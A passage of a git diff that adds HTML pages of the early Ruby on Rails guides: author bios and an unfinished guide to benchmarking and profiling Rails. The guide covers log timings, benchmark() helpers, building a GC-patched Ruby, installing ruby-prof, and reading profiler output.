+} + +.admonitionblock, +.tableblock { + margin-left: 1em; + margin-right: 1em; + margin-top: 0.25em; + margin-bottom: 1em; +} + +.admonitionblock .icon { + padding-right: 8px; +} + +.admonitionblock .content { + border: solid 1px #ffda78; + background: #fffebd; + padding: 10px; + padding-top: 8px; + padding-bottom: 8px; +} + +.admonitionblock .title { + font-size: 140%; + margin-bottom: 0.5em; +} + +.tableblock table { + border: solid 1px #aaaaff; + background: #f0f0ff; +} + +.tableblock th { + background: #e0e0e0; +} + +.tableblock th, +.tableblock td { + padding: 3px; + padding-left: 5px; + padding-right: 5px; +} + +.sidebarblock { + margin-top: 0.25em; + margin: 1em; + border: solid 1px #ccccbb; + padding: 8px; + background: #ffffe0; +} + +.sidebarblock .sidebar-title { + font-size: 140%; + font-weight: 600; + margin-bottom: 0.3em; +} + +.sidebarblock .sidebar-content > .para:last-child > p { + margin-bottom: 0; +} + +.sidebarblock .sidebar-title a { + text-decoration: none; +} + +.sidebarblock .sidebar-title a:hover { + text-decoration: underline; +} + + </style> +</head> +<body> + <div id="header" class="notoc"> + <div id="logo"> + <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a> + </div> + + <h1 id="site_title"><span>Ruby on Rails</span></h1> + <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2> + + <ul id="navMain"> + <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li> + <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li> + </ul> + </div> + + <div id="container" class="notoc"> + + <div id="content"> + <h1>About the Authors</h1> + <div id="preamble">
+<div class="sectionbody">
+<div class="sidebarblock" id="fcheung">
+<div class="sidebar-content">
+<div class="sidebar-title">Frederick Cheung</div>
+<div class="para"><p>Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006.
+He is based in Cambridge (UK) and when not consuming fine ales he blogs at <a href="http://www.spacevatican.org">spacevatican.org</a>.</p></div>
+</div></div>
+<div class="sidebarblock" id="mgunderloy">
+<div class="sidebar-content">
+<div class="sidebar-title">Mike Gunderloy</div>
+<div class="para"><p>Mike Gunderloy is an independent consultant who brings 25 years of experience in a variety of languages to bear on his current
+work with Rails. His near-daily links and other blogging can be found at <a href="http://afreshcup.com">A Fresh Cup</a>.</p></div>
+</div></div>
+<div class="sidebarblock" id="miloops">
+<div class="sidebar-content">
+<div class="sidebar-title">Emilio Tagua</div>
+<div class="para"><p>Emilio Tagua — a.k.a. miloops — is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist.
+Cofounder of <a href="http://www.eventioz.com">Eventioz</a>. He has been using Rails since 2006 and contributing since early 2008.
+Can be found at gmail, twitter, freenode, everywhere as miloops.</p></div>
+</div></div>
+</div>
+</div>
+ + </div> + </div> +</body> +</html> diff --git a/railties/doc/guides/html/benchmarking_and_profiling.html b/railties/doc/guides/html/benchmarking_and_profiling.html new file mode 100644 index 0000000000..ab036f00b1 --- /dev/null +++ b/railties/doc/guides/html/benchmarking_and_profiling.html @@ -0,0 +1,1015 @@ +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> +<head> + <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> + <title>Benchmarking and Profiling Rails</title> + <!--[if lt IE 8]> + <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script> + <![endif]--> + <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" /> + <style type="text/css"> + div#container { + max-width: 900px; + padding-bottom: 3em; +} + +div#content { + margin-left: 200px; +} + +div#container.notoc { + max-width: 600px; +} + +.notoc div#content { + margin-left: 0; +} + +pre { + line-height: 1.4em; +} + +#content p tt { + background: #eeeeee; + border: solid 1px #cccccc; + padding: 3px; +} + +dt { + font-weight: bold; +} + +#content dt tt { + font-size: 10pt; +} + +dd { + margin-left: 3em; +} + +#content dt tt, #content pre tt { + background: none; + padding: 0; + border: 0; +} + +#content .olist ol { + margin-left: 2em; +} + +#header { + position: relative; + max-width: 840px; + margin-left: auto; + margin-right: auto; +} + +#header.notoc { + max-width: 580px; +} + +#logo { + position: absolute; + left: 10px; + top: 10px; + width: 110px; + height: 140px; +} + +div#header h1#site_title { + background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat; + position: absolute; + width: 392px; + height: 55px; + left: 145px; + top: 20px; + margin: 0; + padding: 0; +} + +#site_title span { + display: none; +} + +#site_title_tagline { + display: none; +} + +ul#navMain { + position: absolute; + margin: 0; + padding: 0; + top: 97px; + left: 145px; +} + +.left-floaty, .right-floaty { + padding: 15px; +} + +.admonitionblock, +.tableblock { + margin-left: 1em; + margin-right: 1em; + margin-top: 0.25em; + margin-bottom: 1em; +} + +.admonitionblock .icon { + padding-right: 8px; +} + +.admonitionblock .content { + border: solid 1px #ffda78; + background: #fffebd; + padding: 10px; + padding-top: 8px; + padding-bottom: 8px; +} + +.admonitionblock .title { + font-size: 140%; + margin-bottom: 0.5em; +} + +.tableblock table { + border: solid 1px #aaaaff; + background: #f0f0ff; +} + +.tableblock th { + background: #e0e0e0; +} + +.tableblock th, +.tableblock td { + padding: 3px; + padding-left: 5px; + padding-right: 5px; +} + +.sidebarblock { + margin-top: 0.25em; + margin: 1em; + border: solid 1px #ccccbb; + padding: 8px; + background: #ffffe0; +} + +.sidebarblock .sidebar-title { + font-size: 140%; + font-weight: 600; + margin-bottom: 0.3em; +} + +.sidebarblock .sidebar-content > .para:last-child > p { + margin-bottom: 0; +} + +.sidebarblock .sidebar-title a { + text-decoration: none; +} + +.sidebarblock .sidebar-title a:hover { + text-decoration: underline; +} + + </style> +</head> +<body> + <div id="header" > + <div id="logo"> + <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a> + </div> + + <h1 id="site_title"><span>Ruby on Rails</span></h1> + <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2> + + <ul id="navMain"> + <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li> + <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li> + </ul> + </div> + + <div id="container"> + + <div id="sidebar"> + <h2>Chapters</h2> + <ol> + <li> + <a href="#_why_benchmark_and_profile">Why Benchmark and Profile ?</a> + <ul> + + <li><a href="#_what_is_the_difference_between_benchmarking_and_profiling">What is the difference between benchmarking and profiling ?</a></li> + + </ul> + </li> + <li> + <a href="#_using_and_understanding_the_log_files">Using and understanding the log files</a> + </li> + <li> + <a href="#_helper_methods">Helper methods</a> + </li> + <li> + <a href="#_performance_test_cases">Performance Test Cases</a> + <ul> + + <li><a href="#_modes">Modes</a></li> + + <li><a href="#_metrics">Metrics</a></li> + + <li><a href="#_preparing_ruby_and_ruby_prof">Preparing Ruby and Ruby-prof</a></li> + + <li><a href="#_installing_jeremy_kemper_s_ruby_prof">Installing Jeremy Kemper's ruby-prof</a></li> + + <li><a href="#_generating_performance_test">Generating performance test</a></li> + + <li><a href="#_running_tests">Running tests</a></li> + + </ul> + </li> + <li> + <a href="#_understanding_performance_tests_outputs">Understanding Performance Tests Outputs</a> + <ul> + + <li><a href="#_our_first_performance_test">Our First Performance Test</a></li> + + <li><a href="#_flat_files">Flat Files</a></li> + + <li><a href="#_graph_files">Graph Files</a></li> + + <li><a href="#_tree_files">Tree Files</a></li> + + </ul> + </li> + <li> + <a href="#_getting_to_the_point_of_all_of_this">Getting to the Point of all of this</a> + </li> + <li> + <a href="#_real_life_example">Real Life Example</a> + <ul> + + <li><a href="#_the_setup">The setup</a></li> + + </ul> + </li> + <li> + <a href="#_get_yourself_a_game_plan">Get Yourself a Game Plan</a> + <ul> + + <li><a href="#_the_analysis_process">The Analysis Process</a></li> + + </ul> + </li> + <li> + <a href="#_other_profiling_tools">Other Profiling Tools</a> + <ul> + + <li><a href="#_httperf">httperf</a></li> + + <li><a href="#_rails_analyzer">Rails Analyzer</a></li> + + <li><a href="#_palmist">Palmist</a></li> + + <li><a href="#_new_relic">New Relic</a></li> + + </ul> + </li> + <li> + <a href="#_changelog">Changelog</a> + </li> + </ol> + </div> + + <div id="content"> + <h1>Benchmarking and Profiling Rails</h1> + <div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>This guide covers the benchmarking and profiling tactics/tools of Rails and Ruby in general. By referring to this guide, you will be able to:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Understand the various types of benchmarking and profiling metrics
+</p>
+</li>
+<li>
+<p>
+Generate performance/benchmarking tests
+</p>
+</li>
+<li>
+<p>
+Use GC patched Ruby binary to measure memory usage and object allocation
+</p>
+</li>
+<li>
+<p>
+Understand the information provided by Rails inside the log files
+</p>
+</li>
+<li>
+<p>
+Learn about various tools facilitating benchmarking and profiling
+</p>
+</li>
+</ul></div>
+</div>
+</div>
+<h2 id="_why_benchmark_and_profile">1. Why Benchmark and Profile ?</h2>
+<div class="sectionbody">
+<div class="para"><p>Benchmarking and Profiling is an integral part of the development cycle. It is very important that you don't make your end users wait for too long before the page is completely loaded. Ensuring a plesant browsing experience to the end users and cutting cost of unnecessary hardwares is important for any web application.</p></div>
+<h3 id="_what_is_the_difference_between_benchmarking_and_profiling">1.1. What is the difference between benchmarking and profiling ?</h3>
+<div class="para"><p>Benchmarking is the process of finding out if a piece of code is slow or not. Whereas profiling is the process of finding out what exactly is slowing down that piece of code.</p></div>
+</div>
+<h2 id="_using_and_understanding_the_log_files">2. Using and understanding the log files</h2>
+<div class="sectionbody">
+<div class="para"><p>Rails logs files containt basic but very useful information about the time taken to serve every request. A typical log entry looks something like :</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Processing ItemsController<span style="font-style: italic"><span style="color: #9A1900">#index (for 127.0.0.1 at 2008-10-17 00:08:18) [GET]</span></span>
+ Session ID<span style="color: #990000">:</span> BAh7BiIKZmxhc2hJQzonQWN0aHsABjoKQHVzZWR7AA<span style="color: #990000">==--</span>83cff4fe0a897074a65335
+ Parameters<span style="color: #990000">:</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">"action"</span><span style="color: #990000">=></span><span style="color: #FF0000">"index"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"controller"</span><span style="color: #990000">=></span><span style="color: #FF0000">"items"</span><span style="color: #FF0000">}</span>
+Rendering template within layouts<span style="color: #990000">/</span>items
+Rendering items<span style="color: #990000">/</span>index
+Completed <span style="font-weight: bold"><span style="color: #0000FF">in</span></span> 5ms <span style="color: #990000">(</span>View<span style="color: #990000">:</span> <span style="color: #993399">2</span><span style="color: #990000">,</span> DB<span style="color: #990000">:</span> <span style="color: #993399">0</span><span style="color: #990000">)</span> <span style="color: #990000">|</span> <span style="color: #993399">200</span> OK <span style="color: #990000">[</span>http<span style="color: #990000">:</span><span style="color: #FF6600">//localhost/</span>items<span style="color: #990000">]</span>
+</tt></pre></div></div>
+<div class="para"><p>For this section, we're only interested in the last line from that log entry:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Completed <span style="font-weight: bold"><span style="color: #0000FF">in</span></span> 5ms <span style="color: #990000">(</span>View<span style="color: #990000">:</span> <span style="color: #993399">2</span><span style="color: #990000">,</span> DB<span style="color: #990000">:</span> <span style="color: #993399">0</span><span style="color: #990000">)</span> <span style="color: #990000">|</span> <span style="color: #993399">200</span> OK <span style="color: #990000">[</span>http<span style="color: #990000">:</span><span style="color: #FF6600">//localhost/</span>items<span style="color: #990000">]</span>
+</tt></pre></div></div>
+<div class="para"><p>This data is fairly straight forward to understand. Rails uses millisecond(ms) as the metric to measures the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller.</p></div>
+</div>
+<h2 id="_helper_methods">3. Helper methods</h2>
+<div class="sectionbody">
+<div class="para"><p>Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a specific code. The method is called <tt>benchmark()</tt> in all three components.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Project<span style="color: #990000">.</span>benchmark<span style="color: #990000">(</span><span style="color: #FF0000">"Creating project"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ project <span style="color: #990000">=</span> Project<span style="color: #990000">.</span>create<span style="color: #990000">(</span><span style="color: #FF0000">"name"</span> <span style="color: #990000">=></span> <span style="color: #FF0000">"stuff"</span><span style="color: #990000">)</span>
+ project<span style="color: #990000">.</span>create_manager<span style="color: #990000">(</span><span style="color: #FF0000">"name"</span> <span style="color: #990000">=></span> <span style="color: #FF0000">"David"</span><span style="color: #990000">)</span>
+ project<span style="color: #990000">.</span>milestones <span style="color: #990000"><<</span> Milestone<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The above code benchmarks the multiple statments enclosed inside <tt>Project.benchmark("Creating project") do..end</tt> block and prints the results inside log files. The statement inside log files will look like:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Creating projectem <span style="color: #990000">(</span><span style="color: #993399">185</span><span style="color: #990000">.</span>3ms<span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>Please refer to <a href="http://api.rubyonrails.com/classes/ActiveRecord/Base.html#M001336">API docs</a> for optional options to <tt>benchmark()</tt></p></div>
+<div class="para"><p>Similarly, you could use this helper method inside <a href="http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715">controllers</a> ( Note that it's a class method here ):</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> process_projects
+ <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">class</span></span><span style="color: #990000">.</span>benchmark<span style="color: #990000">(</span><span style="color: #FF0000">"Processing projects"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ Project<span style="color: #990000">.</span>process<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>project_ids<span style="color: #990000">])</span>
+ Project<span style="color: #990000">.</span>update_cached_projects
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>and <a href="http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715">views</a>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><% benchmark("Showing projects partial") do %></span>
+ <span style="color: #FF0000"><%= render :partial =></span> <span style="color: #009900">@projects</span> <span style="color: #990000">%></span>
+<span style="color: #FF0000"><% end %></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_performance_test_cases">4. Performance Test Cases</h2>
+<div class="sectionbody">
+<div class="para"><p>Rails provides a very easy to write performance test cases, which look just like the regular integration tests.</p></div>
+<div class="para"><p>If you have a look at <tt>test/performance/browsing_test.rb</tt> in a newly created Rails application:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'performance_test_help'</span>
+
+<span style="font-style: italic"><span style="color: #9A1900"># Profiling results for each test method are written to tmp/performance.</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> BrowsingTest <span style="color: #990000"><</span> ActionController<span style="color: #990000">::</span>PerformanceTest
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_homepage
+ get <span style="color: #FF0000">'/'</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This is an automatically generated example performance test file, for testing performance of homepage(<em>/</em>) of the application.</p></div>
+<h3 id="_modes">4.1. Modes</h3>
+<h4 id="_benchmarking">4.1.1. Benchmarking</h4>
+<h4 id="_profiling">4.1.2. Profiling</h4>
+<h3 id="_metrics">4.2. Metrics</h3>
+<h4 id="_process_time">4.2.1. Process Time</h4>
+<div class="para"><p>CPU Cycles.</p></div>
+<h4 id="_memory">4.2.2. Memory</h4>
+<div class="para"><p>Memory taken.</p></div>
+<h4 id="_objects">4.2.3. Objects</h4>
+<div class="para"><p>Objects allocated.</p></div>
+<h4 id="_gc_runs">4.2.4. GC Runs</h4>
+<div class="para"><p>Number of times the Ruby GC was run.</p></div>
+<h4 id="_gc_time">4.2.5. GC Time</h4>
+<div class="para"><p>Time spent running the Ruby GC.</p></div>
+<h3 id="_preparing_ruby_and_ruby_prof">4.3. Preparing Ruby and Ruby-prof</h3>
+<div class="para"><p>Before we go ahead, Rails performance testing requires you to build a special Ruby binary with some super powers - GC patch for measuring GC Runs/Time. This process is very straight forward. If you've never compiled a Ruby binary before, you can follow the following steps to build a ruby binary inside your home directory:</p></div>
+<h4 id="_compile">4.3.1. Compile</h4>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ mkdir rubygc
+<span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ wget ftp<span style="color: #990000">:</span>//ftp<span style="color: #990000">.</span>ruby-lang<span style="color: #990000">.</span>org/pub/ruby<span style="color: #990000">/</span><span style="color: #993399">1.8</span>/ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6</span>-p<span style="color: #993399">111</span><span style="color: #990000">.</span>tar<span style="color: #990000">.</span>gz
+<span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ tar -xzvf ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6</span>-p<span style="color: #993399">111</span><span style="color: #990000">.</span>tar<span style="color: #990000">.</span>gz
+<span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ cd ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6</span>-p<span style="color: #993399">111</span>
+<span style="color: #990000">[</span>lifo@null ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6</span>-p<span style="color: #993399">111</span><span style="color: #990000">]</span>$ curl http<span style="color: #990000">:</span>//rubyforge<span style="color: #990000">.</span>org/tracker/download<span style="color: #990000">.</span>php<span style="color: #990000">/</span><span style="color: #993399">1814</span><span style="color: #990000">/</span><span style="color: #993399">7062</span><span style="color: #990000">/</span><span style="color: #993399">17676</span><span style="color: #990000">/</span><span style="color: #993399">3291</span>/ruby186gc<span style="color: #990000">.</span>patch <span style="color: #990000">|</span> patch -p<span style="color: #993399">0</span>
+<span style="color: #990000">[</span>lifo@null ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6</span>-p<span style="color: #993399">111</span><span style="color: #990000">]</span>$ <span style="color: #990000">.</span>/configure --prefix<span style="color: #990000">=</span>/Users/lifo/rubygc
+<span style="color: #990000">[</span>lifo@null ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6</span>-p<span style="color: #993399">111</span><span style="color: #990000">]</span>$ make <span style="color: #990000">&&</span> make install
+</tt></pre></div></div>
+<h4 id="_prepare_aliases">4.3.2. Prepare aliases</h4>
+<div class="para"><p>Add the following lines in your ~/.profile for convenience:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>alias gcruby='/Users/lifo/rubygc/bin/ruby'
+alias gcrake='/Users/lifo/rubygc/bin/rake'
+alias gcgem='/Users/lifo/rubygc/bin/gem'
+alias gcirb='/Users/lifo/rubygc/bin/irb'
+alias gcrails='/Users/lifo/rubygc/bin/rails'</tt></pre>
+</div></div>
+<h4 id="_install_rubygems_and_some_basic_gems">4.3.3. Install rubygems and some basic gems</h4>
+<div class="listingblock">
+<div class="content">
+<pre><tt>[lifo@null ~]$ wget http://rubyforge.org/frs/download.php/38646/rubygems-1.2.0.tgz
+[lifo@null ~]$ tar -xzvf rubygems-1.2.0.tgz
+[lifo@null ~]$ cd rubygems-1.2.0
+[lifo@null rubygems-1.2.0]$ gcruby setup.rb
+[lifo@null rubygems-1.2.0]$ cd ~
+[lifo@null ~]$ gcgem install rake
+[lifo@null ~]$ gcgem install rails</tt></pre>
+</div></div>
+<h4 id="_install_mysql_gem">4.3.4. Install MySQL gem</h4>
+<div class="listingblock">
+<div class="content">
+<pre><tt>[lifo@null ~]$ gcgem install mysql</tt></pre>
+</div></div>
+<div class="para"><p>If this fails, you can try to install it manually:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>[lifo@null ~]$ cd /Users/lifo/rubygc/lib/ruby/gems/1.8/gems/mysql-2.7/
+[lifo@null mysql-2.7]$ gcruby extconf.rb --with-mysql-config
+[lifo@null mysql-2.7]$ make && make install</tt></pre>
+</div></div>
+<h3 id="_installing_jeremy_kemper_s_ruby_prof">4.4. Installing Jeremy Kemper's ruby-prof</h3>
+<div class="para"><p>We also need to install Jeremy's ruby-prof gem using our newly built ruby:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ git clone git<span style="color: #990000">:</span>//github<span style="color: #990000">.</span>com/jeremy/ruby-prof<span style="color: #990000">.</span>git
+<span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ cd ruby-prof<span style="color: #990000">/</span>
+<span style="color: #990000">[</span>lifo@null ruby-prof <span style="color: #990000">(</span>master<span style="color: #990000">)]</span>$ gcrake gem
+<span style="color: #990000">[</span>lifo@null ruby-prof <span style="color: #990000">(</span>master<span style="color: #990000">)]</span>$ gcgem install pkg/ruby-prof-<span style="color: #993399">0.6</span><span style="color: #990000">.</span><span style="color: #993399">1</span><span style="color: #990000">.</span>gem
+</tt></pre></div></div>
+<h3 id="_generating_performance_test">4.5. Generating performance test</h3>
+<div class="para"><p>Rails provides a simple generator for creating new performance tests:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">[</span>User profiling_tester <span style="color: #990000">(</span>master<span style="color: #990000">)]</span>$ script/generate performance_test homepage
+</tt></pre></div></div>
+<div class="para"><p>This will generate <tt>test/performance/homepage_test.rb</tt>:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>require 'test_helper'
+require 'performance_test_help'
+
+class HomepageTest < ActionController::PerformanceTest
+ # Replace this with your real tests.
+ def test_homepage
+ get '/'
+ end
+end</tt></pre>
+</div></div>
+<div class="para"><p>Which you can modify to suit your needs.</p></div>
+<h3 id="_running_tests">4.6. Running tests</h3>
+</div>
+<h2 id="_understanding_performance_tests_outputs">5. Understanding Performance Tests Outputs</h2>
+<div class="sectionbody">
+<h3 id="_our_first_performance_test">5.1. Our First Performance Test</h3>
+<div class="para"><p>So how do we profile a request.</p></div>
+<div class="para"><p>One of the things that is important to us is how long it takes to render the home page - so let's make a request to the home page. Once the request is complete, the results will be outputted in the terminal.</p></div>
+<div class="para"><p>In the terminal run</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">[</span>User profiling_tester<span style="color: #990000">]</span>$ gcruby tests<span style="color: #FF6600">/performance/</span>homepage<span style="color: #990000">.</span>rb
+</tt></pre></div></div>
+<div class="para"><p>After the tests runs for a few seconds you should see something like this.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>HomepageTest#test_homepage (19 ms warmup)
+ process_time: 26 ms
+ memory: 298.79 KB
+ objects: 1917
+
+Finished in 2.207428 seconds.</tt></pre>
+</div></div>
+<div class="para"><p>Simple but efficient.</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Process Time refers to amount of time necessary to complete the action.
+</p>
+</li>
+<li>
+<p>
+memory is the amount of information loaded into memory
+</p>
+</li>
+<li>
+<p>
+object ??? #TODO find a good definition. Is it the amount of objects put into a ruby heap for this process?
+</p>
+</li>
+</ul></div>
+<div class="para"><p>In addition we also gain three types of itemized log files for each of these outputs. They can be found in your tmp directory of your application.</p></div>
+<div class="para"><p><strong>The Three types are</strong></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Flat File - A simple text file with the data laid out in a grid
+</p>
+</li>
+<li>
+<p>
+Graphical File - A html colored coded version of the simple text file with hyperlinks between the various methods. Most useful is the bolding of the main processes for each portion of the action.
+</p>
+</li>
+<li>
+<p>
+Tree File - A file output that can be use in conjunction with KCachegrind to visualize the process
+</p>
+</li>
+</ul></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">KCachegrind is Linux only. For Mac this means you have to do a full KDE install to have it working in your OS. Which is over 3 gigs in size. For windows there is clone called wincachegrind but it is no longer actively being developed.</td>
+</tr></table>
+</div>
+<div class="para"><p>Below are examples for Flat Files and Graphical Files</p></div>
+<h3 id="_flat_files">5.2. Flat Files</h3>
+<div class="exampleblock">
+<div class="title">Example: Flat File Output Processing Time</div>
+<div class="exampleblock-content">
+<div class="para"><p>Thread ID: 2279160
+Total: 0.026097</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>%self total self wait child calls name
+ 6.41 0.06 0.04 0.00 0.02 571 Kernel#===
+ 3.17 0.00 0.00 0.00 0.00 172 Hash#[]
+ 2.42 0.00 0.00 0.00 0.00 13 MonitorMixin#mon_exit
+ 2.05 0.00 0.00 0.00 0.00 15 Array#each
+ 1.56 0.00 0.00 0.00 0.00 6 Logger#add
+ 1.55 0.00 0.00 0.00 0.00 13 MonitorMixin#mon_enter
+ 1.36 0.03 0.00 0.00 0.03 1 ActionController::Integration::Session#process
+ 1.31 0.00 0.00 0.00 0.00 13 MonitorMixin#mon_release
+ 1.15 0.00 0.00 0.00 0.00 8 MonitorMixin#synchronize-1
+ 1.09 0.00 0.00 0.00 0.00 23 Class#new
+ 1.03 0.01 0.00 0.00 0.01 5 MonitorMixin#synchronize
+ 0.89 0.00 0.00 0.00 0.00 74 Hash#default
+ 0.89 0.00 0.00 0.00 0.00 6 Hodel3000CompliantLogger#format_message
+ 0.80 0.00 0.00 0.00 0.00 9 c
+ 0.80 0.00 0.00 0.00 0.00 11 ActiveRecord::ConnectionAdapters::ConnectionHandler#retrieve_connection_pool
+ 0.79 0.01 0.00 0.00 0.01 1 ActionController::Benchmarking#perform_action_without_rescue
+ 0.18 0.00 0.00 0.00 0.00 17 <Class::Object>#allocate</tt></pre>
+</div></div>
+</div></div>
+<div class="para"><p>So what do these columns tell us:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+%self - The percentage of time spent processing the method. This is derived from self_time/total_time
+</p>
+</li>
+<li>
+<p>
+total - The time spent in this method and its children.
+</p>
+</li>
+<li>
+<p>
+self - The time spent in this method.
+</p>
+</li>
+<li>
+<p>
+wait - Time processed was queued
+</p>
+</li>
+<li>
+<p>
+child - The time spent in this method's children.
+</p>
+</li>
+<li>
+<p>
+calls - The number of times this method was called.
+</p>
+</li>
+<li>
+<p>
+name - The name of the method.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>Name can be displayed three seperate ways:
+ <strong> #toplevel - The root method that calls all other methods
+ </strong> MyObject#method - Example Hash#each, The class Hash is calling the method each
+ * <Object:MyObject>#test - The <> characters indicate a singleton method on a singleton class. Example <Class::Object>#allocate</p></div>
+<div class="para"><p>Methods are sorted based on %self. Hence the ones taking the most time and resources will be at the top.</p></div>
+<div class="para"><p>So for Array#each which is calling each on the class array. We find that it processing time is 2% of the total and was called 15 times. The rest of the information is 0.00 because the process is so fast it isn't recording times less then 100 ms.</p></div>
+<div class="exampleblock">
+<div class="title">Example: Flat File Memory Output</div>
